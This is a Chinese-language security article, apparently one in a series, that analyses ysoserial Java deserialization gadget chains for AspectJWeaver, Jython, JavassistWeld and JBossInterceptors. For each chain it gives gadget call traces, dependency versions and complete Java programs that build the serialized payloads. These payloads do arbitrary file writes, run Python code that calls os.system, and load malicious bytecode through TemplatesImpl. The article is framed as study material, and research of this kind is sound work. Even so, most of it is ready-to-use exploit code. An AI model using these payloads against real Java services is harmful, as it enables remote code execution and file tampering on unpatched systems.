Java 反序列化漏洞(六) - AspectJWeaver/Jython/JavassistWeld/JBossInterceptors

AspectJWeaver

AspectJ 是 Eclipse 基金组织的开源项目,它是 Java 语言的一个 AOP 实现,是最早、功能比较强大的 AOP 实现之一,对整套 AOP 机制都有较好的实现,很多其他语言的 AOP 实现也借鉴或者采纳了 AspectJ 中的很多设计。在 Java 领域,AspectJ 中的很多语法结构基本上已经成为 AOP 领域的标准。

本条链是一条任意文件写入的利用链,作者表示:“non RCE”,但是在 AntCTF x D^3CTF 比赛中,由蚂蚁安全非攻实验室和蚂蚁安全光年实验室的师傅们将这条链出在了赛题中,并提出了文件写入-> RCE 的思路:通过任意文件写入漏洞把恶意类写入classpath,再通过某种方式加载、使用该恶意类,触发该恶意类的 static 代码块或执行该恶意类的某个方法,来实现通用的RCE利用。官方 WP 点这里

此处我们重点关注 ysoserial 中的反序列化链。

前置知识

SimpleCache$StoreableCachingMap

org.aspectj.weaver.tools.cache.SimpleCache 类中定义了一个内部类 StoreableCachingMap,这个类继承了 HashMap,提供了将 Map 中值写入文件中的功能。

在调用 put 方法向 StoreableCachingMap 中放入值时,会调用 writeToPath 方法将 value 中的值写入到文件中。

可以看到,路径由 folder 起始,拼接 File.separator 以及 key ,values 是 byte 数组类型的数据。

这就构成了一个文件写出的 sink 点,使用反射尝试一下,可以成功写入文件。

Class<?>       c           = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor<?> constructor = c.getDeclaredConstructor(String.class, int.class);
constructor.setAccessible(true);
HashMap<String, Object> map = (HashMap) constructor.newInstance("/Users/phoebe/Downloads", 10000);
map.put("123.txt", "aaa".getBytes(StandardCharsets.UTF_8));

那么谁能储存并触发这个 StoreableCachingMap 的 put 方法呢?

LazyMap

在 CC链中的 org.apache.commons.collections.map.LazyMap 类,我们通过触发其 get 方法来触发 Transformer 的 transform 方法来触发 ChainedTransformer/InvokerTransformer 等后续调用链。

实际上 LazyMap 在 transform 之后会调用封装的内部 map 的 put 方法将结果保存,这就触发了 put 方法。

攻击构造

ysoserial 此链中使用了 HashSet 反序列化来触发 TiedMapEntry 的 hashCode 进一步触发 LazyMap 的 get 方法,在 CC6/CC7 中我们提到,使用 HashSet/HashMap/Hashtable 触发本质上都是一样的。这里使用 HashSet 来触发。

public class AspectJWeaver {

	public static void main(String[] args) throws Exception {

		String fileName    = "123.txt";
		String filePath    = "/Users/phoebe/Downloads";
		String fileContent = "su18 is here";

		// 初始化 HashMap
		HashMap<Object, Object> hashMap = new HashMap<>();

		// 实例化  StoreableCachingMap 类
		Class<?>       c           = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
		Constructor<?> constructor = c.getDeclaredConstructor(String.class, int.class);
		constructor.setAccessible(true);
		Map map = (Map) constructor.newInstance(filePath, 10000);

		// 初始化一个 Transformer,使其 transform 方法返回要写出的 byte[] 类型的文件内容
		Transformer transformer = new ConstantTransformer(fileContent.getBytes(StandardCharsets.UTF_8));

		// 使用 StoreableCachingMap 创建 LazyMap 并引入 TiedMapEntry
		Map          lazyMap = LazyMap.decorate(map, transformer);
		TiedMapEntry entry   = new TiedMapEntry(lazyMap, fileName);

		// entry 放到 HashSet 中
		HashSet set = SerializeUtil.generateHashSet(entry);

		SerializeUtil.writeObjectToFile(set);
		SerializeUtil.readFileObject();
	}

}

总结

以上就是 AspectJWeaver 链分析的全部内容了,最后总结一下。

  1. 利用说明:
    • 利用 HashSet 反序列化触发 TiedMapEntry 的 hashCode 方法,再触发 LazyMap 的 get 方法,触发 SimpleCache$StorableCachingMap 的 put 方法调用到 writeToPath 写出文件。
  2. Gadget 总结:
    • kick-off gadget:java.util.HashSet#readObject()
    • sink gadget:org.apache.commons.collections.map.LazyMap#get()
    • chain gadget:com.sun.syndication.feed.impl.ObjectBean#toString()
  3. 调用链展示:
HashSet.readObject()
    HashMap.put()
        HashMap.hash()
            TiedMapEntry.hashCode()
                TiedMapEntry.getValue()
                    LazyMap.get()
                        SimpleCache$StorableCachingMap.put()
                            SimpleCache$StorableCachingMap.writeToPath()
  1. 依赖版本

aspectjweaver : 1.9.2
commons-collections : 3.2.2

Jython

Jython 是 Python 语言在 Java 中的完全实现。项目地址:https://www.jython.org/

关于 Jython 的学习教程,可以参考这里

有了 Jython 的依赖,就可以在 Java 中动态解析和执行 python 代码,例如使用 execfile 执行任意 python 文件:

// 获取 resources 路径下的 test.py 文件
String filePath = JythonTest.class.getClassLoader().getResource("test.py").getPath();
// 实例化 PythonInterpreter
PythonInterpreter interpreter = new PythonInterpreter();
// execfile 方法执行 python 文件
interpreter.execfile(filePath);

或者使用 exec 执行 python 源字符串:

// exec 方法在本地名称空间中执行Python源字符串
interpreter.exec("import os\nos.system(\"open -a Calculator.app\")\n");

或使用 eval 计算并返回结果:

// eval 方法将字符串计算为Python源并返回结果
PyObject object = interpreter.eval("1+1");
System.out.println(object);

也可以先在命名空间中定义函数,然后进行调用:

// 定义函数并调用,传入参数
interpreter.exec("import os\ndef add(a,b):\n    return a+b\n");

PyFunction fun = (PyFunction) interpreter.get("add");
PyObject   foo = fun.__call__(new PyObject[]{new PyString("1"), new PyString("2")});
System.out.println(foo);

对于在 Java 上调用其他类型的编程或脚本语言,在之前我们已经见过了 Groovy、BeanShell、Myfaces、Clojure,这些解析库的实现在思路上是有相似之处的,因为都是解释型的执行方式,而对于反序列化漏洞的触发大体上也是类似的。

在 Jython 中,所有的 Python 对象均为 PyObject,例如字符串类型 PyString,数字型 PyInteger,函数类型 PyFunction,文件类型 PyFile 等等。而 PyObject 实现了 Serializable 接口,这里先来看一下函数类型 PyFunction 的实现。

前置知识

PyFunction

org.python.core.PyFunction 是 Jython 中对 python 函数的实现,这个类集成了 PyObject,实现了 InvocationHandler 接口。

先来了解一下 PyFunction 中几个重要的成员变量:

  • __name__:python 函数的名字,def aaa() 中的 “aaa”。
  • func_code:PyCode 对象,是将函数中具体代码对象,实际执行功能的类。
  • func_globals:PyStringMap 对象,用来保存当前函数所在空间的上下文,用来给函数调用。
  • objtype:PyType 类型的对象,用来表示该对象的类型。

在 Jython 中,所有的 python 函数都以 PyFunction 实例的状态存在,如果想要调用这个函数,则需要调用 PyFunction 的 __call__ 方法,这个方法有若干个重载方法来接收各种参数以应对种种情况。

可以发现实际上调用的是 this.func_code 的 call 方法,也就是 PyCode 实例是实际上代表了一段代码段(函数)。

于此同时,PyFunction 还实现了 InvocationHandler 接口,会调用 this.__call__ 方法,并将传递的 Java 类转为 PyObject 传递给执行方法。

也就是说,如果以 PyFunction 作为 InvocationHandler 来动态代理一个接口,则会实际上返回这个 PyFunction 所代表的 python 函数的执行结果。

PyBytecode

在 PyFunction 中,我们提到了代表真实 python 代码块并且能够调用的类是 org.python.core.PyCode ,这个类是一个抽象类,定义了一个成员变量 co_name 和一些重载的 call 调用方法。

PyBaseCode 是 PyCode 的标准实现,它也是一个抽象类,有两个常用的子类 PyBytecode/PyTableCode。

这两个子类都包含着可执行的 python 代码,但是不同之处在于:

  • PyTableCode 中实际的可执行内容储存为 PyFunctionTable 实例和其索引,在调用 PyTableCode 时,会调用 PyFunctionTable 实例的 call_function 方法,实际上是一种引用的,反射调用的方式。
  • PyB​​ytecode 中实际的可执行内容储存为 co_code 中,是一个 byte 数组类型的数据,在调用PyB​​ytecode 时会调用 call/interpret/call_function 方法完成函数的调用,是通过 python 字节码直接调用。

类比 BeanShell 反序列化漏洞的利用方式,我们想到可以使用 PythonInterpreter 解析 python 代码生成的 PyFunction 动态代理 Comparator 的 comparator 方法,使用 PriorityQueue 触发反序列化。但是这其中有两个问题:

  • 动态生成的 PyFunctionTable 类无法找到。
  • 一些 python 代码对应的执行类不支持反序列化。

使用 PythonInterpreter 创建的 PyFunction 中的 PyCode,是 PyTableCode 实例,这里我们发现,其实际可执行内容实例 PyFunctionTable 类是一个抽象类,没有任何子类,那是如何创建和使用的呢?

答案在 org.python.core.BytecodeLoader 类的 makeCode 方法。

makeClass 中调用了 BytecodeLoader.LoaderloadClassFromBytes 方法,是使用 ASM 从字节码中动态生成类或使用 defineClass 定义类。

虽然 PyFunctionTable 是实现了 Serializable 接口的,但是这样动态加载的类无法经过序列化和反序列化流程。对于动态生成的类,反序列化过程使用的 ClassLoader 是无法找到这个类对象的。

但是我们可以使用 PyB​​ytecode 来替代 PyTableCode 作为 PyFunction 的 PyCode。只需要将恶意 python 代码的字节码初始化到 PyB​​ytecode 中,再使用 PyB​​ytecode 来创建 PyFunction 即可。

初始化的相关信息可以使用如下代码查看:

def execEvil(a, b):
    f = open(a, 'w')
    f.write(b)
    f.close()
    execfile(a)

if __name__ == '__main__':
    print(execEvil.__code__.co_code.encode('hex'))
    print(execEvil.__code__.co_name)
    print(execEvil.__code__.co_names)
    print(execEvil.__code__.co_consts)
    print(execEvil.__code__.co_varnames)
    print(execEvil.__code__.co_filename)
    print(execEvil.__code__.co_argcount)
    print(execEvil.__code__.co_stacksize)
    print(execEvil.__code__.co_nlocals)
    print(execEvil.__code__.co_flags)
    print(execEvil.__code__.co_lnotab)
    print(execEvil.__code__.co_firstlineno)
    print(dis.dis(execEvil.__code__))

相关内容可以参考这篇文章

攻击构造

在测试反序列化时,又发现了一个新坑,Jython 有一个类 PyReflectedFunction,用来将 Java 函数包装成为 PyObject 对象,用来调用。

其中就包括 org.python.modules.posix.PosixModule 这个类,在 python 中与操作系统相关操作的包 os 包,在 Jython 将其中的各个方法都映射在了 PosixModule 这个类中,调用时使用 PyReflectedFunction 包裹。

例如我们想使用 Jython 执行 os.system 执行命令,就要首先 import os,解析对应的依赖时,就会动态生成相关实现代码,而执行命令的具体的实现就会通过 PyReflectedFunction 去反射调用,如下图。

这个类有个成员变量 ReflectedArgs 数组,用来保存调用相关的参数,而这个对象不能被反序列化,writeObject 时会出错。也就是说,在反序列化执行 payload 的过程中,不能包含带有 PyReflectedFunction 的库,这对我们构造 payload 造成了巨大的限制。

那该如何执行任意 python 代码呢?ysoserial 的作者利用了 python 的另一个功能突破了这个限制,那就是:execfile()

python 提供了 execfile 方法,无需引入任何依赖包,可以执行任意 python 文件,那构造恶意的 payload 逻辑为:

def execEvil(a, b):
    f = open(a, 'w')
    f.write(b)
    f.close()
    execfile(a)

execEvil("/Users/phoebe/Downloads/123.py", "import os\nos.system('open -a Calculator.app')")

可以看到,先写入恶意 python 文件,再使用 execfile 执行,代码中没有引入任何库,完全绕过了限制。

所以最终利用代码为:

public class Jython {

	public static void main(String[] args) throws Exception {

		String path = "/Users/phoebe/Downloads/123.py";
		String code = "import os\nos.system('open -a Calculator.app')";

		String pythonByteCode = "7400006401006402008302007D00007C0000690100640300830100017C0000690200830000017403006401008301000164000053";

		// 初始化参数
		PyObject[] consts = new PyObject[]{new PyString(""), new PyString(path), new PyString("w+"), new PyString(code)};
		String[]   names  = new String[]{"open", "write", "close", "execfile"};

		// 初始化 PyBytecode
		PyBytecode bytecode = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{"", ""}, "noname", "<module>", 0, "");
		Field      field    = PyBytecode.class.getDeclaredField("co_code");
		field.setAccessible(true);
		field.set(bytecode, new BigInteger(pythonByteCode, 16).toByteArray());

		// 使用 PyBytecode 初始化 PyFunction
		PyFunction handler = new PyFunction(new PyStringMap(), null, bytecode);

		// 使用 PyFunction 代理 Comparator
		Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);

		PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
		Object[]              queue         = new Object[]{path, code};

		Field queueField = PriorityQueue.class.getDeclaredField("queue");
		queueField.setAccessible(true);
		queueField.set(priorityQueue, queue);

		Field sizeField = PriorityQueue.class.getDeclaredField("size");
		sizeField.setAccessible(true);
		sizeField.set(priorityQueue, 2);

		SerializeUtil.writeObjectToFile(priorityQueue);
		SerializeUtil.readFileObject();

	}
}

总结

以上就是 Jython 链分析的全部内容了,最后总结一下。

  1. 利用说明:
    • 利用 PriorityQueue 反序列化触发使用 PyFunction 动态代理的 Comparator 的 compare 方法,调用 PyBytecode 的 call 方法触发恶意 python 代码的执行。
  2. Gadget 总结:
    • kick-off gadget:java.util.PriorityQueue#readObject()
    • sink gadget:org.python.core.PyBytecode#call()
    • chain gadget:org.python.core.PyFunction#invoke()
  3. 调用链展示:
PriorityQueue.readObject()
    Comparator.compare()
            XThis$Handler.invoke()
                PyFunction.invokeImpl()
                    PyBytecode.call()
  1. 依赖版本

Jython : 1.9.2

JavassistWeld

此链是 Weld 框架中存在的 Gadget,漏洞在 Oracle Weblogic 和 JBoss EAP 中可以利用,并以 Weblogic T3 方序列化漏洞报告给了 Oracle。

Weld 是 CDI (Java EE 平台上下文和依赖注入) 的参考实现。已经集成到许多 Java EE 应用中,例如 WildFLy、JBoss Enterprise Application Platform 、GlassFish、Oracle WebLogic Server、WebSphere Application Server 等。

作者关于反序列化的相关 PPT 位于这里

作者在 PPT 中也给出了他的挖掘思路,我们这里跟着学习一下,首先作者提出问题,反序列化中,我们究竟需要找什么?

第一, sink 点,细一点说,就是能够调用执行恶意的方法,也就是说在可以反序列化的 class 中,找到有如下功能的方法:

  • 对文件进行操作的方法
  • 能触发反射调用的方法(method invoke,类中 properties 的 getter/setter 方法)
  • 触发 native 方法的调用
  • 等等
    并且这些方法能够从如下方法中被调用:
  • readObject
  • readResove
  • toString
  • hashCode
  • finalize
  • 等等其他方法

在找能够被反序列化的可以用在动态代理中的类

  • java.lang.reflect.InvocationHandler 的实现
  • javassist.util.proxy.MethodHandler 的实现类

并且提到了 ysoserial 作者 Frohoff 的另一个工具 inspector-gadget,使用 graph database 来寻找调用链挖掘 gadget 。

PPT 中又提到了漏洞执行的两个点:

  • TemplatesImpl 的 newTransformer 触发恶意类字节码的加载
  • InitialContext 的 lookup 触发 JNDI 注入/JdbcRowSetImpl 的 execute 方法

除此之外,还有使用脚本语言触发的链:

  • javascript : Rhino/Nashorn
  • Groovy
  • BeanShell

最后又介绍了 Jenkins 反序列化的利用和绕过,从 CC 到 JRMPListener gadget,再到修改 JSON1 使用 LdapAttribute 绕过黑名单。(这里在后面再说)

其实跟到目前为止学习和掌握的技术差不多。接下来来看这条链。

前置知识

InterceptorMethodHandler

org.jboss.weld.interceptor.proxy.InterceptorMethodHandler 类是这条链的核心类,也是触发类,这个类实现了 javassist 中的 MethodHandler 接口,实现了 invoke 方法,用来对方法进行调用。同时实现了 Serializable 接口,可以被反序列化。

这个类用来在反射调用方法时来对其进行功能性上的增强,位于 executeInterception 方法。

方法从 interceptionModel 属性中获取全部的 InterceptorMetadata 对象列表,然后循环遍历和封装,最后初始化成为 SimpleInterceptionChain 对象,然后以职责链模式执行全部的 InterceptorInvocation。

SimpleInterceptionChain 的 invokeNextInterceptor 在使用 hasNextInterceptor 判断没有下一个拦截器后,则会根据逻辑反射调用方法。

接下来看一下 InterceptorMethodHandler 的 readObject 方法,会调用 executeInterception 触发调用。

后面要做的其实就是满足调用所需要的条件即可。

攻击构造

这条链的调用比较无聊(其实是我实在是懒得看了,直接划水),分析过程省略。

public class JavassistWeld {

	public static void main(String[] args) throws Exception {

		// 生成包含恶意类字节码的 TemplatesImpl 类
		final TemplatesImpl tmpl = SerializeUtil.generateTemplatesImpl();

		// 要反射调用的恶意方法
		Method method = TemplatesImpl.class.getDeclaredMethod("newTransformer");

		ReflectiveClassMetadata metadata             = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class);
		InterceptorReference    interceptorReference = ClassMetadataInterceptorReference.of(metadata);

		Set<InterceptionType> s = new HashSet<InterceptionType>();
		s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE);

		// 使用 DefaultMethodMetadata 构造方法创建 MethodMetadata 实例
		Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(
				Set.class, MethodReference.class);
		defaultMethodMetadataConstructor.setAccessible(true);
		MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s,
				MethodReference.of(method, true));

		List list = new ArrayList();
		list.add(methodMetadata);

		Map<InterceptionType, List<MethodMetadata>> hashMap = new HashMap<org.jboss.weld.interceptor.spi.model.InterceptionType, List<MethodMetadata>>();
		hashMap.put(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list);

		SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(
				interceptorReference, true, hashMap);

		// 使用 InterceptionModelBuilder 创建 InterceptionModelImpl 实例
		InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class);
		builder.interceptAll().with(simpleInterceptorMetadata);
		InterceptionModel model = builder.build();

		HashMap map = new HashMap();
		map.put("su18", "su18");

		DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory();

		// 返回恶意实例的 InterceptorInstantiator
		InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() {

			public Object createFor(InterceptorReference paramInterceptorReference) {
				return tmpl;
			}
		};

		InterceptorMethodHandler interceptorMethodHandler = new InterceptorMethodHandler(
				map, metadata, model, interceptorInstantiator, factory);


		SerializeUtil.writeObjectToFile(interceptorMethodHandler);
		SerializeUtil.readFileObject();

	}
}

总结

以上就是 JavassistWeld 链分析的全部内容了,最后总结一下。

  1. 利用说明:
    • InterceptorMethodHandler 的 readObject 触发 executeInterception 方法,会调用 SimpleInterceptionChain 的 invokeNextInterceptor 触发方法调用,执行 TemplatesImpl 的 newTransformer 方法。
  2. Gadget 总结:
    • kick-off gadget:org.jboss.weld.interceptor.proxy.InterceptorMethodHandler#readObject()
    • sink gadget:org.jboss.weld.interceptor.proxy.SimpleInterceptionChain#invokeNextInterceptor()
    • chain gadget:org.jboss.weld.interceptor.proxy.SimpleMethodInvocation#invoke()
  3. 调用链展示:
InterceptorMethodHandler.readObject()
    InterceptorMethodHandler.executeInterception()
            SimpleInterceptionChain.invokeNextInterceptor()
                SimpleMethodInvocation.invoke()
                    TemplatesImpl.newTransformer()
  1. 依赖版本

weld-core : 1.1.33.Final
javassist : 3.12.1.GA
cdi-api : 1.0-SP1
javax.interceptor-api : 3.1
jboss-interceptor-spi : 2.0.0.Final
slf4j-api : 1.7.21

JBossInterceptors

同 JavassistWeld ,包名不同,不再重复。